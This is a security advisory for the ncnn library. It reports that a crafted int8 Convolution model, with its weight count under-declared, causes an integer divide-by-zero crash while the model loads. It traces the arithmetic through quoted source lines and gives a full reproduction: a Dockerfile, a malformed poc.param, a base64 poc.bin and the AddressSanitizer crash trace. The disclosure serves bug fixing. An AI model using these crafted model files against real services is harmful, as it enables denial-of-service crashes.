Integer Divide-By-Zero Crashes Int8 Model Loading
Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: src/layer/x86/convolution_im2col_gemm_int8.h:101 in convolution_im2col_gemm_get_optimal_tile_mnk_int8
Sanitizer verdict: FPE on unknown address 0x5935f00deeb0 (pc 0x5935f00deeb0 bp 0x7fff730457b0 sp 0x7fff73045600 T0)
Summary
An int8 Convolution layer whose declared weight count is smaller than kernel_w * kernel_h * num_output makes ncnn derive an input-channel count of zero, which propagates into the int8 SGEMM tile heuristic and produces a division by zero. The process — ncnnoptimize in the captured trace, or any caller of ncnn::Net::load_model() — dies with SIGFPE while loading the model, before inference begins. The attacker only supplies the .param/.bin pair.
Detail
The untrusted fields are the Convolution parameter keys 0 (num_output), 1/11 (kernel size), 6 (weight_data_size) and 8 (int8_scale_term), plus the tag word in the .bin that selects int8 storage. Convolution_x86::create_pipeline_int8_x86 reconstructs the missing input-channel count by dividing, and truncating integer division silently yields zero whenever the weight count is under-declared. That zero becomes K in the GEMM transform, and the tile solver divides by a quantity derived from K.
// src/layer/x86/convolution_x86.cpp:953
int Convolution_x86::create_pipeline_int8_x86(const Option& opt)
{
const int maxk = kernel_w * kernel_h;
const int num_input = weight_data_size / maxk / num_output;
// src/layer/x86/convolution_im2col_gemm_int8.h:2642
const int maxk = kernel_w * kernel_h;
const int M = outch;
const int K = inch * maxk;
int TILE_M, TILE_N, TILE_K;
convolution_im2col_gemm_get_optimal_tile_mnk_int8(M, 0, K, TILE_M, TILE_N, TILE_K, opt.num_threads);
// src/layer/x86/convolution_im2col_gemm_int8.h:99
int nn_K = (K + TILE_K - 1) / TILE_K;
#if __AVX512F__
TILE_K = std::min(TILE_K, ((K + nn_K - 1) / nn_K + 15) / 16 * 16);
The PoC declares 0=2 1=1 2=1 3=1 4=0 5=0 6=1 8=1: num_output = 2, a 1x1 kernel, one weight value and int8_scale_term = 1. The .bin starts with the tag 0x000D4B38, so ModelBin returns the weight as a one-byte-per-element Mat, which is what routes create_pipeline into the int8 branch. num_input is then 1 / 1 / 2 == 0, and K = num_input * maxk == 0.
In the tile solver TILE_K is first clamped to a positive cache-derived value, so nn_K = (0 + TILE_K - 1) / TILE_K evaluates to 0. Line 101 immediately uses nn_K as a divisor in (K + nn_K - 1) / nn_K, executing idiv with a zero divisor and raising #DE. Neither Convolution::load_param nor load_model requires weight_data_size to be a multiple of maxk * num_output, and create_pipeline_int8_x86 does not test num_input before handing it on, so the malformed metadata reaches the arithmetic unchecked.
Reproduce
Build and run (writes the Dockerfile, builds ncnn with ASan, runs the PoC)
mkdir -p ncnn-poc-integer-divide-by-zero-crashes-int8-model-loading && cd ncnn-poc-integer-divide-by-zero-crashes-int8-model-loading
cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04
RUN apt-get update && apt-get install -y --no-install-recommends \
git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
protobuf-compiler libprotobuf-dev \
&& pip3 install --no-cache-dir --break-system-packages onnx protobuf \
&& rm -rf /var/lib/apt/lists/*
RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn
WORKDIR /ncnn
RUN cmake -S . -B build \
-DCMAKE_BUILD_TYPE=Debug \
-DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
-DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
-DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
-DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
-DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
&& cmake --build build -j"$(nproc)"
ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE
cat > poc.param <<'PARAM'
7767517
2 2
Input data 0 1 data
Convolution conv 1 1 data out 0=2 1=1 6=1 8=1
PARAM
base64 -d > poc.bin <<'BIN'
OEsNAAEAAAAAAIA/AACAPwAAgD8=
BIN
docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
/ncnn/build/tools/ncnnoptimize poc.param poc.bin out.param out.bin 0
AddressSanitizer output:
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1==ERROR: AddressSanitizer: FPE on unknown address 0x55c04b77ceb0 (pc 0x55c04b77ceb0 bp 0x7ffedb385df0 sp 0x7ffedb385c40 T0)
#0 0x55c04b77ceb0 in convolution_im2col_gemm_get_optimal_tile_mnk_int8 /ncnn/src/layer/x86/convolution_im2col_gemm_int8.h:101
#1 0x55c04b79419e in convolution_im2col_gemm_transform_kernel_int8 /ncnn/src/layer/x86/convolution_im2col_gemm_int8.h:2648
#2 0x55c04b975e00 in ncnn::Convolution_x86_avx512::create_pipeline_int8_x86(ncnn::Option const&) /ncnn/build/src/layer/x86/convolution_x86_avx512.cpp:969
#3 0x55c04b9587ce in ncnn::Convolution_x86_avx512::create_pipeline(ncnn::Option const&) /ncnn/build/src/layer/x86/convolution_x86_avx512.cpp:290
#4 0x55c04ab7dc96 in ncnn::Net::load_model(ncnn::DataReader const&) /ncnn/src/net.cpp:2094
#5 0x55c04ab7e90a in ncnn::Net::load_model(_IO_FILE*) /ncnn/src/net.cpp:2257
#6 0x55c04ab7ec91 in ncnn::Net::load_model(char const*) /ncnn/src/net.cpp:2292
#7 0x55c04aa91caf in main /ncnn/tools/ncnnoptimize.cpp:2797
#8 0x7999e59b31c9 (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#9 0x7999e59b328a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#10 0x55c04aa11624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: FPE /ncnn/src/layer/x86/convolution_im2col_gemm_int8.h:101 in convolution_im2col_gemm_get_optimal_tile_mnk_int8
==1==ABORTING
Credit
Zheng Yu @ DepthFirst